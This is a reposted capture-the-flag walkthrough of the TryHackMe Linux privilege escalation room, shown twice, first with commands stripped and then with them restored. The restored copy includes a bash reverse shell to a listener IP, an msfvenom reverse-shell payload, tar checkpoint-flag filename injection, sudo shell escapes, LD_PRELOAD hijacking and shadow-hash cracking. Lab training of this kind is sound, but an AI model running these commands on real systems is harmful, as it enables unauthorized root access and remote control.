02-17-2023, 12:55 PM
TryHackMe Linux PrivEsc – Magical Linux Privilege Escalation (1/2)
5/5 – (1 vote)
CHALLENGE OVERVIEW
![[Image: lyteCache.php?origThumbUrl=https%3A%2F%2...efault.jpg]](https://blog.finxter.com/wp-content/plugins/wp-youtube-lyte/lyteCache.php?origThumbUrl=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fmtw2fk27bsY%2Fhqdefault.jpg)
BACKGROUND
![[Image: image-230.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-230.png)
Using different exploits to compromise operating systems can feel like magic (when they work!).
In this walkthrough, you will see various “magical” ways that Linux systems can be rooted. These methods rely on the Linux system having misconfigurations that allow various read/write/execute permissions on files that should be better protected. In this post, we will cover tasks 1-10.
TASK 1 Deploy the Vulnerable Debian VM
After connecting to our TryHackMe VPN, let’s start our file and write down our IPs in an export fashion.
Now we can go ahead and log in via SSH using the starting credentials given in the instructions:
Now that we are in via SSH, let’s start exploiting this machine!
TASK 2 Service Exploits
![[Image: image-231.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-231.png)
In this task, we will privesc by exploiting MySQL using https://www.exploit-db.com/exploits/1518
We’ll create a new file named that spawns a root shell. This box has the exploit preloaded, so all we have to do is cut and paste the commands from this section to try out the privesc.
![[Image: image-217.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-217.png)
Task 3: Weak File Permissions – Readable /etc/shadow
In this task, we will read and crack the hash with John the Ripper.
First, we need to save the root entry from file as .
![[Image: image-218.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-218.png)
Next, let’s load up John and crack the hash with as our wordlist
![[Image: image-219.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-219.png)
We have found our root password,!
TASK 4: Weak File Permissions – Writeable /etc/shadow
![[Image: image-232.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-232.png)
In this task, we will change the root password in file.
![[Image: image-220.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-220.png)
TASK 5 Weak File Permissions – Writeable /etc/passwd
In this task, we will change the root passwd in. First we need to generate a new hashed password:
![[Image: image-221.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-221.png)
TASK 6 Sudo – Shell Escape Sequences
![[Image: image-233.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-233.png)
Let’s check our sudo privileges:
We can choose any of the many bin files that we have sudo permissions on, except for the apache2 bin that doesn’t have a sudo exploit listed on GTFObins
Today we’ll choose to run the exploit utilizing the more bin file.
Link: https://gtfobins.github.io/gtfobins/more/
Running the following two commands gives us a root shell:
![[Image: image-222.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-222.png)
TASK 7 Sudo – Environment Variables
Method 1: preload file spoofing
![[Image: image-223.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-223.png)
Method 2: shared object spoofing
![[Image: image-224.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-224.png)
TASK 8 Cron Jobs – File Permissions
![[Image: image-234.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-234.png)
In this task, we will root the Linux box by changing the file that is scheduled to run automatically every minute on cron jobs.
Because we have to write file permissions on the file, we can change the contents to spawn a revshell that we can catch on a listener. The file is owned by root, so it will spawn a root shell.
Overwrite the file with the following:
Now, all we need to do is start a listener and wait for a maximum of 1 minute to catch the revshell.
![[Image: image-225.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-225.png)
TASK 9 Cron Jobs – PATH Environment Variable
In this task, we will hijack the environment variable by creating an file in directory.
This bash script will copy (the shell) to the directory, then add execute privileges and an bit. After the file runs, we can manually activate the root shell by running the new file “” with persistence mode.
![[Image: image-226.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-226.png)
TASK 10 Cron Jobs – Wildcards
![[Image: image-235.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-235.png)
In this exploit, we will use strange filenames to trick the system into thinking they are checkpoint flags on the tarball command which issue a command to run the elf shell to give us a root shell on our listener.
First, let’s create a new payload for a revshell
Next, we’ll transfer the elf file to on the target via a simple HTTP server. Finally, we need to create two empty files with the following names:
Finally, we’ll need to start up a listener to catch the root shell.
![[Image: image-227.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-227.png)
![[Image: image-228.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-228.png)
POST-EXPLOITATION
Let’s remove the shell and the other two spoofed empty command extension files.
FINAL THOUGHTS
![[Image: image-236.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-236.png)
Magic isn’t actually needed to carry out any of the methods outlined in this post.
As long as the target machine has a misconfiguration on password files ( and/or ), cron jobs are set to run files that we can modify or spoof, or a PATH variable that we can hijack with a spoof file, we can easily escalate privileges to the root user.
Thanks for reading this write-up, and be sure to check out part II for more “magical” privesc methods.
5/5 – (1 vote)
CHALLENGE OVERVIEW
- CTF Creator: Tib3rius
- Link: https://tryhackme.com/room/linuxprivesc
- Difficulty: medium
- Target: gaining root access using a variety of different techniques
- Highlight: Quickly gaining root access on a Linux computer in many different ways
- Tags: privesc, linux, privilege escalation
BACKGROUND
![[Image: image-230.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-230.png)
Using different exploits to compromise operating systems can feel like magic (when they work!).
In this walkthrough, you will see various “magical” ways that Linux systems can be rooted. These methods rely on the Linux system having misconfigurations that allow various read/write/execute permissions on files that should be better protected. In this post, we will cover tasks 1-10.
TASK 1 Deploy the Vulnerable Debian VM
After connecting to our TryHackMe VPN, let’s start our
Code:
notes.txtCode:
export targetIP=10.10.63.231
export myIP=10.6.2.23Now we can go ahead and log in via SSH using the starting credentials given in the instructions:
Code:
ssh user@10.10.63.231
id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)Now that we are in via SSH, let’s start exploiting this machine!
TASK 2 Service Exploits
![[Image: image-231.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-231.png)
In this task, we will privesc by exploiting MySQL using https://www.exploit-db.com/exploits/1518
We’ll create a new file named
Code:
rootbash![[Image: image-217.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-217.png)
Task 3: Weak File Permissions – Readable /etc/shadow
In this task, we will read
Code:
/etc/shadowFirst, we need to save the root entry from
Code:
/etc/shadowCode:
hash.txt![[Image: image-218.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-218.png)
Next, let’s load up John and crack the hash with
Code:
rockyou.txtCode:
john --wordlist=</PATH/TO/>rockyou.txt hash.txt![[Image: image-219.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-219.png)
We have found our root password,
Code:
password123TASK 4: Weak File Permissions – Writeable /etc/shadow
![[Image: image-232.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-232.png)
In this task, we will change the root password in
Code:
/etc/shadowCode:
mkpasswd -m sha-512 newpasswordhere
$6$pz5mE.wYesKIYGN$jyRHWFXauy1tWmXLWABRKFjUplUH4u7w2YvxEysk5OPcS.HcgBoQkYt66gkkuMB6EKK8WUh1CY.BAO2mdOdPb.![[Image: image-220.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-220.png)
Code:
user@debian:~/tools/mysql-udf$ nano /etc/shadow
user@debian:~/tools/mysql-udf$ su root
Password: root@debian:/home/user/tools/mysql-udf#In this task, we will change the root passwd in
Code:
/etc/passwdCode:
openssl passwd newpasswordhere![[Image: image-221.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-221.png)
TASK 6 Sudo – Shell Escape Sequences
![[Image: image-233.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-233.png)
Let’s check our sudo privileges:
Code:
sudo -lWe can choose any of the many bin files that we have sudo permissions on, except for the apache2 bin that doesn’t have a sudo exploit listed on GTFObins
Today we’ll choose to run the exploit utilizing the more bin file.
Link: https://gtfobins.github.io/gtfobins/more/Running the following two commands gives us a root shell:
Code:
TERM= sudo more /etc/profile
!/bin/sh![[Image: image-222.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-222.png)
TASK 7 Sudo – Environment Variables
Method 1: preload file spoofing
Code:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
sudo LD_PRELOAD=/tmp/preload.so more![[Image: image-223.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-223.png)
Method 2: shared object spoofing
Code:
ldd /usr/sbin/apache2
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp apache2![[Image: image-224.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-224.png)
TASK 8 Cron Jobs – File Permissions
![[Image: image-234.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-234.png)
In this task, we will root the Linux box by changing the file
Code:
overwrite.shBecause we have to write file permissions on the file, we can change the contents to spawn a revshell that we can catch on a listener. The file is owned by root, so it will spawn a root shell.
Overwrite the file with the following:
Code:
#!/bin/bash
bash -i >& /dev/tcp/10.6.2.23/8888 0>&1Now, all we need to do is start a
Code:
netcatCode:
nc -lnvp 8888![[Image: image-225.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-225.png)
TASK 9 Cron Jobs – PATH Environment Variable
In this task, we will hijack the
Code:
PATHCode:
overwrite.shCode:
/home/userCode:
user@debian:~$ cat overwrite.sh #!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbashThis bash script will copy
Code:
/bin/bashCode:
tmpCode:
suidCode:
overwrite.shCode:
rootbashCode:
user@debian:~$ /tmp/rootbash -p
rootbash-4.1# id uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
rootbash-4.1# exit![[Image: image-226.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-226.png)
TASK 10 Cron Jobs – Wildcards
![[Image: image-235.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-235.png)
In this exploit, we will use strange filenames to trick the system into thinking they are checkpoint flags on the tarball command which issue a command to run the elf shell to give us a root shell on our
Code:
netcatFirst, let’s create a new payload for a revshell
Code:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.6.2.23 LPORT=8888 -f elf -o shell.elfNext, we’ll transfer the elf file to
Code:
/home/usrCode:
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elfFinally, we’ll need to start up a
Code:
netcatCode:
nc -lnvp 8888![[Image: image-227.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-227.png)
![[Image: image-228.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-228.png)
POST-EXPLOITATION
Let’s remove the shell and the other two spoofed empty command extension files.
Code:
rm /home/user/shell.elf
rm /home/user/--checkpoint=1
rm /home/user/--checkpoint-action=exec=shell.elf![[Image: image-236.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-236.png)
Magic isn’t actually needed to carry out any of the
Code:
privescAs long as the target machine has a misconfiguration on password files (
Code:
/etc/shadowCode:
/etc/passwdThanks for reading this write-up, and be sure to check out part II for more “magical” privesc methods.

